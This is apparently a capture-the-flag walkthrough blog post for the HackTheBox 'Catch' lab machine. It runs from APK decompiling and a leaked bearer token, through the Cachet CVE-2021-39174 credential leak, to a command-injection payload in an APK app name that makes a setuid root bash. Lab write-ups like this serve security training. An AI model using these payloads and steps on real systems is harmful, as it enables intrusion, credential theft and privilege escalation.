Catch from HackTheBox — Detailed Walkthrough

Showing you all the tools and techniques needed to complete the box.

Pencer
InfoSec Write-ups

--

Machine Information

Catch from HackTheBox

Catch is rated as a medium machine on HackTheBox. This Linux box has a number of open ports, but we start with an APK we download and decompile to find a bearer token. With that we find credentials in Cachet that gives us access, allowing the use of a known CVE to retrieve more credentials. These give us access to SSH, after enumeration of the OS we find an insecurely written script that we can take advantage to get to root.

Skills required are enumeration and using known exploits. Skills learned are decompiling and manipulating APK files.

Initial Recon

As always let’s start with Nmap:

Nmap scan of Catch from HackTheBox

We find a few ports open, let’s start with 80 as usual:

Catch website

This is a static site which mentions Lets-Chat and Gitea integration but there’s nothing obvious to be found.

Download APK

There is a Download Now button that gives us an apk file. Let’s grab that:

┌──(root㉿kali)-[~/htb/catch]
└─# wget http://catch.htb/catchv1.0.apk
--2022-04-21 22:25:51-- http://catch.htb/catchv1.0.apk
Resolving catch.htb (catch.htb)... 10.10.11.150
Connecting to catch.htb (catch.htb)|10.10.11.150|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3356353 (3.2M) [application/vnd.android.package-archive]
Saving to: ‘catchv1.0.apk’
catchv1.0.apk 100%[=============>] 3.20M 3.51MB/s in 0.9s
2022-04-21 22:25:52 (3.51 MB/s) - ‘catchv1.0.apk’ saved [3356353/3356353]

Gitea

With nothing more to look at here let’s try port 3000 which nmap found earlier:

Gitea instance on port 3000

Here we find an installation of Gitea which is like a self-hosted version of GitHub. Looking around it there is nothing obvious here either, and I couldn’t find an exploit for this version.

Let’s Chat Login

On to the next one nmap found which was port 5000:

Let’s Chat on port 5000

Now we find a login page for an installation of Lets Chat which is self hosted chat app for small teams.

Cachet Login

Finally let’s look at the last port we found which was 8000:

Cachet login page on port 8000

This is a login to a local install of Cachet which is an open source status page system.

Decompile APK

So we have a number of things to look in to. I went right back to the start and decompiled the apk I downloaded:

┌──(root㉿kali)-[~/htb/catch]
└─# apktool
Command 'apktool' not found, but can be installed with:
apt install apktool
Do you want to install it? (N/y)y
apt install apktool
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following additional packages will be installed:
aapt android-framework-res android-libaapt android-libandroidfw android-libbacktrace android-libbase android-libcutils android-liblog android-libunwind android-libutils android-libziparchive junit libantlr-java
libantlr3-runtime-java libapache-pom-java libatinject-jsr330-api-java libcommons-cli-java libcommons-io-java libcommons-lang3-java libcommons-parent-java libguava-java libjsr305-java libsmali-java libstringtemplate-java
libxmlunit-java libxpp3-java libyaml-snake-java
0 upgraded, 28 newly installed, 0 to remove and 151 not upgraded.
Need to get 21.8 MB of archives.
After this operation, 58.3 MB of additional disk space will be used.
<SNIP>
Setting up android-libbacktrace (1:10.0.0+r36-10) ...
Setting up libcommons-io-java (2.11.0-2) ...
Setting up android-libutils (1:10.0.0+r36-10) ...
Setting up android-libandroidfw:amd64 (1:10.0.0+r36-3) ...
Setting up android-libaapt:amd64 (1:10.0.0+r36-3) ...
Setting up aapt (1:10.0.0+r36-3) ...
Setting up apktool (2.5.0+dfsg.1-2) ...

Apktool is nice and simple to use for this. It wasn’t installed but is in the Kali repository so after it’s done we can use to decompile the apk:

┌──(root㉿kali)-[~/htb/catch]
└─# apktool d catchv1.0.apk
I: Using Apktool 2.5.0-dirty on catchv1.0.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

Now we have a folder with all the files from the apk. After a bit of grepping I eventually found this:

Grep for tokens in decompiled apk

Enumerating Let’s Chat

Which is a file called strings.xml with tokens for Gitea, lets chat and slack. The Lets Chat one is what we wanted, but it took me a fair bit of working out. To start with I found this and this which helped with how to use a bearer token, like the one we’ve just found, and using curl to interact with the Lets Chat API.

I also found this which shows you how to use the API to retrieve data. First I looked at account:

┌──(root㉿kali)-[~/htb/catch/catchv1.0]
└─# curl -s -X GET "http://catch.htb:5000/account/" -H "Authorization: bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" | json_pp
{
"avatar" : "e2b5310ec47bba317c5f1b5889e96f04",
"displayName" : "Admin",
"firstName" : "Administrator",
"id" : "61b86aead984e2451036eb16",
"lastName" : "NA",
"openRooms" : [
"61b86b28d984e2451036eb17",
"61b86b3fd984e2451036eb18",
"61b8708efe190b466d476bfb"
],
"username" : "admin"
}

This showed a list of open rooms. Next I looked at the first room on the list:

┌──(root㉿kali)-[~/htb/catch/catchv1.0]
└─# curl -s -X GET "http://catch.htb:5000/rooms/61b86b28d984e2451036eb17" -H "Authorization: bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" | json_pp
{
"created" : "2021-12-14T10:00:08.384Z",
"description" : "Cachet Updates and Maintenance",
"hasPassword" : false,
"id" : "61b86b28d984e2451036eb17",
"lastActive" : "2021-12-14T10:34:20.749Z",
"name" : "Status",
"owner" : "61b86aead984e2451036eb16",
"participants" : [],
"private" : false,
"slug" : "status"
}

Not overly helpful, although it does mention Cachet which we found earlier on port 8000. Looking at the docs again you can list all messages in a room, let’s do that:

┌──(root㉿kali)-[~/htb/catch/catchv1.0]
└─# curl -s -X GET "http://catch.htb:5000/rooms/61b86b28d984e2451036eb17/messages" -H "Authorization: bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" | json_pp
[
<SNIP>
{
"id" : "61b8702dfe190b466d476bfa",
"owner" : "61b86f15fe190b466d476bf5",
"posted" : "2021-12-14T10:21:33.859Z",
"room" : "61b86b28d984e2451036eb17",
"text" : "Here are the credentials `john : E}V!mywu_69T4C}W`"
},
<SNIP>
]

There’s a few messages but this one is interesting.

Cachet Access As John

Let’s try it on the login page we found earlier:

Cachet login with found credentials

It works and we are in:

Cachet dashboard

CVE-2021–39174

I don’t know how to use this. On the settings page it tells us the version is 2.4.0-dev. A search for an exploit brings this one up at the top. Looking at that there is a section on CVE-2021–39174 which shows you can leak configuration details via a nested variable. There’s a video as well, but it’s easy to do. Go to Setting and the Mail, start Burp listening and click the Save button:

Cachet mail settings

Switch to Burp to see the intercepted request:

Burp intercepting save request

Change the config[mail_driver] section from smtp to ${DB_USERNAME} and then click Forward:

Alter POST request before forwarding

Click Forward again if you get another reply, then switch Intercept off and switch back to the website:

Update successful on portal

We see the message Awesome indicating the settings were updated. Now click Test and confirm:

Error message for Cachet vulnerability

This error screen wasn’t what the article suggested I’d see, but after a bit of searching the logs we find the leak was successful:

Data leak can be seen in the logs

The DB_USERNAME is Will. Now repeat the above intercepting the save in Burp, setting config[mail_driver] to ${DB_PASSWORD}, forward in Burp then click Test on the website. Looking in the logs we now have the password:

Password for user Will

SSH Access As Will

It turns out these database credentials have been reused for SSH access:

┌──(root㉿kali)-[~/htb/catch/catchv1.0]
└─# ssh will@catch.htb
will@catch.htbs password:
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-104-generic x86_64)

System information as of Fri 22 Apr 2022 04:37:04 PM UTC

Last login: Fri Apr 22 16:16:22 2022 from 10.10.14.101
will@catch:~$

User Flag

Let’s grab the user flag before moving on:

will@catch:~$ cat user.txt 
14c926ad5fee703cd6f26b9ec681ae23

Pspy64

I tried LinPEAS but didn’t find anything so I had a look at running processes with pspy.

First grab the latest version and copy over to the box:

┌──(root㉿kali)-[~/htb/catch]
└─# wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
--2022-04-22 17:41:08-- https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
Resolving github.com (github.com)... 140.82.121.4
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
<SNIP>
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: ‘pspy64’
pspy64 100%[===============>] 2.94M 2.68MB/s in 1.1s
2022-04-22 17:41:10 (2.68 MB/s) - ‘pspy64’ saved [3078592/3078592]

┌──(root㉿kali)-[~/htb/catch]
└─# scp pspy64 will@catch.htb:~
will@catch.htbs password:
pspy64 100% 3006KB 1.7MB/s 00:01

Now switch back to the box and run pspy:

Pspy watching processes on the box

Code Review

After only a few seconds we see a shell script called verify.sh is run frequently by root. Let’s it down so we understand it.

This first section is using jarsigner to check the apk being accessed has a valid certificate:

will@catch:~$ cat /opt/mdm/verify.sh
#!/bin/bash

###################
# Signature Check #
###################

sig_check() {
jarsigner -verify "$1/$2" 2>/dev/null >/dev/null
if [[ $? -eq 0 ]]; then
echo '[+] Signature Check Passed'
else
echo '[!] Signature Check Failed. Invalid Certificate.'
cleanup
exit
fi
}

This section is checking the apk was compiled with with a version of the SDK that is greater than 18:

#######################
# Compatibility Check #
#######################

comp_check() {
apktool d -s "$1/$2" -o $3 2>/dev/null >/dev/null
COMPILE_SDK_VER=$(grep -oPm1 "(?<=compileSdkVersion=\")[^\"]+" "$PROCESS_BIN/AndroidManifest.xml")
if [ -z "$COMPILE_SDK_VER" ]; then
echo '[!] Failed to find target SDK version.'
cleanup
exit
else
if [ $COMPILE_SDK_VER -lt 18 ]; then
echo "[!] APK Doesn't meet the requirements"
cleanup
exit
fi
fi
}

This section is checking the app name using the value set in the /res/values/strings.xml file:

####################
# Basic App Checks #
####################

app_check() {
APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml")
echo $APP_NAME
if [[ $APP_NAME == *"Catch"* ]]; then
echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
else
echo "[!] App doesn't belong to Catch Global"
cleanup
exit
fi
}

This is our vulnerability we can use to exploit the script. You can see $APP_NAME is set to a value from the strings.xml file. It checks the name contains Catch, then executes mkdir {}. This lack of sanitisation allows us to execute further commands by separating them with semi-colons.

The last part of the script set’s the folders it will use, and then executes the functions from above in a loop on each apk it finds in the DROPBOX folder:

###################
# MDM CheckerV1.0 #
###################

DROPBOX=/opt/mdm/apk_bin
IN_FOLDER=/root/mdm/apk_bin
OUT_FOLDER=/root/mdm/certified_apps
PROCESS_BIN=/root/mdm/process_bin

for IN_APK_NAME in $DROPBOX/*.apk;do
OUT_APK_NAME="$(echo ${IN_APK_NAME##*/} | cut -d '.' -f1)_verified.apk"
APK_NAME="$(openssl rand -hex 12).apk"
if [[ -L "$IN_APK_NAME" ]]; then
exit
else
mv "$IN_APK_NAME" "$IN_FOLDER/$APK_NAME"
fi
sig_check $IN_FOLDER $APK_NAME
comp_check $IN_FOLDER $APK_NAME $PROCESS_BIN
app_check $PROCESS_BIN $OUT_FOLDER $IN_FOLDER $OUT_APK_NAME
done
cleanup

So a summary of what we need to do is:

1. Edit the strings.xml file on Kali for the catchv1.0.apk we decompiled earlier.
2. Put the commands we want to execute separated by a ;.
3. Compile the apk.
4. Sign it.
5. Upload to the box in folder /opt/mdm/apk_bin.
6. Wait for glory.

Exploit APK Vulnerability

Let’s do it. First open the strings file in your editor of choice:

┌──(root㉿kali)-[~/htb/catch/catchv1.0]
└─# nano res/values/strings.xml

Look for this line:

<string name="app_name">Catch</string>

Change it to this, or whatever else you wanted to execute as root:

<string name="app_name">Catch999;cp /bin/bash /tmp/pencer; chmod +s /tmp/pencer</string>

Here I’m copying bash as root them modifying permissions so I can execute as user Will to get a root shell.

I used this guide for help with the steps to compile, and sign our apk.

Let’s compile the apk using apktool:

┌──(root㉿kali)-[~/htb/catch]
└─# java -jar apktool_2.6.1.jar b -f -d /root/htb/catch/catchv1.0 -o /root/htb/catch/catch_pencer.apk
I: Using Apktool 2.6.1
I: Smaling smali folder into classes.dex...
I: Building resources...
I: Building apk file...
I: Copying unknown files/dir...
I: Built apk...

NOTE: this doesn’t work with the latest version of apktool in the Kali repo. That one is 2.5, you need 2.6.1 for this to work so grab it from here if needed.

Now we need to sign it. First generate our keys:

┌──(root㉿kali)-[~/htb/catch]
└─# keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
Enter keystore password:
Re-enter new password:
What is your first and last name?
[Unknown]: 1
What is the name of your organizational unit?
[Unknown]: 1
What is the name of your organization?
[Unknown]: 1
What is the name of your City or Locality?
[Unknown]: 1
What is the name of your State or Province?
[Unknown]: 1
What is the two-letter country code for this unit?
[Unknown]: us
Is CN=1, OU=1, O=1, L=1, ST=1, C=us correct?
[no]: yes
Generating 2,048 bit RSA key pair and self-signed certificate (SHA256withRSA) with a validity of 10,000 days
for: CN=1, OU=1, O=1, L=1, ST=1, C=us
[Storing my-release-key.keystore]

Then sign it with jarsigner, but here I had a problem because jarsigner is not available in Kali 2022.1. Checking we can see we have java 11 installed:

┌──(root㉿kali)-[~/htb/catch]
└─# update-alternatives --config java
There is 1 choice for the alternative java (providing /usr/bin/java).
Selection Path Priority Status
--------------------------------------------------------------------
* 0 /usr/lib/jvm/java-11-openjdk-amd64/bin/java 1111 auto mode
1 /usr/lib/jvm/java-11-openjdk-amd64/bin/java 1111 manual mode

Still jarsigner is not there, so I installed openjdk and it added more packages:

┌──(root㉿kali)-[~/htb/catch]
└─# apt-get install openjdk-11-jdk
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following additional packages will be installed:
libice-dev libpthread-stubs0-dev libsm-dev libx11-dev libxau-dev libxcb1-dev libxdmcp-dev libxt-dev openjdk-11-jdk-headless x11proto-dev xorg-sgml-doctools xtrans-dev
Suggested packages:
libice-doc libsm-doc libx11-doc libxcb-doc libxt-doc openjdk-11-demo openjdk-11-source visualvm
The following NEW packages will be installed:
libice-dev libpthread-stubs0-dev libsm-dev libx11-dev libxau-dev libxcb1-dev libxdmcp-dev libxt-dev openjdk-11-jdk openjdk-11-jdk-headless x11proto-dev xorg-sgml-doctools xtrans-dev
0 upgraded, 13 newly installed, 0 to remove and 151 not upgraded.
Need to get 223 MB of archives.
After this operation, 239 MB of additional disk space will be used.
Do you want to continue? [Y/n] y
<SNIP>

I set alternative to manual mode:

┌──(root㉿kali)-[~/htb/catch]
└─# update-alternatives --config java
There is 1 choice for the alternative java (providing /usr/bin/java).
Selection Path Priority Status
--------------------------------------------------------------------
0 /usr/lib/jvm/java-11-openjdk-amd64/bin/java 1111 auto mode
* 1 /usr/lib/jvm/java-11-openjdk-amd64/bin/java 1111 manual mode

Now jarsigner is available:

┌──(root㉿kali)-[~/htb/catch]
└─# jarsigner
Usage: jarsigner [options] jar-file alias
jarsigner -verify [options] jar-file [alias...]

[-keystore <url>] keystore location
<SNIP>

Back to signing our newly built apk:

┌──(root㉿kali)-[~/htb/catch]
└─# jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore catch_pencer.apk alias_name
Enter Passphrase for keystore:
adding: META-INF/MANIFEST.MF
adding: META-INF/ALIAS_NA.SF
adding: META-INF/ALIAS_NA.RSA
signing: classes.dex
signing: AndroidManifest.xml
signing: resources.arsc
signing: res/animator/mtrl_extended_fab_show_motion_spec.xml
<SNIP>

We can use SCPto copy our file over to the /opt/mdm/apk_bin folder:

┌──(root㉿kali)-[~/htb/catch]
└─# sshpass -p 's2#4Fg0_%3!' scp catch_pencer.apk will@catch.htb:/opt/mdm/apk_bin

Switch back to our SSH session as the user Will on the box. Wait for a few minutes then check /tmp:

will@catch:~$ ll /tmp/pencer
-rwsr-sr-x 1 root root 1183448 Apr 23 14:28 /tmp/pencer*

Root Flag

Our copy of bash is there called pencer with permissions modified. Now let’s get the root flag:

will@catch:~$ /tmp/pencer -p
pencer-5.0# whoami
root
pencer-5.0# cat /root/root.txt
340847d2ddd0d39864d988d72c4658ee

That was a pretty tricky box for me. I hope this walkthrough helped you get through it. See you next time.

If you liked this article please leave me a clap or two (it’s free!)

Twitter — https://twitter.com/pencer_io
Website — https://pencer.io

Originally published at https://pencer.io on July 23, 2022.

From Infosec Writeups: A lot is coming up in the Infosec every day that it’s hard to keep up with. Join our weekly newsletter to get all the latest Infosec trends in the form of 5 articles, 4 Threads, 3 videos, 2 Github Repos and tools, and 1 job alert for FREE!

--

--

Eat. Sleep. Hack. Repeat. I like hacking. A lot of hacking. Mostly CTFs, but then other stuff too when I get round to it.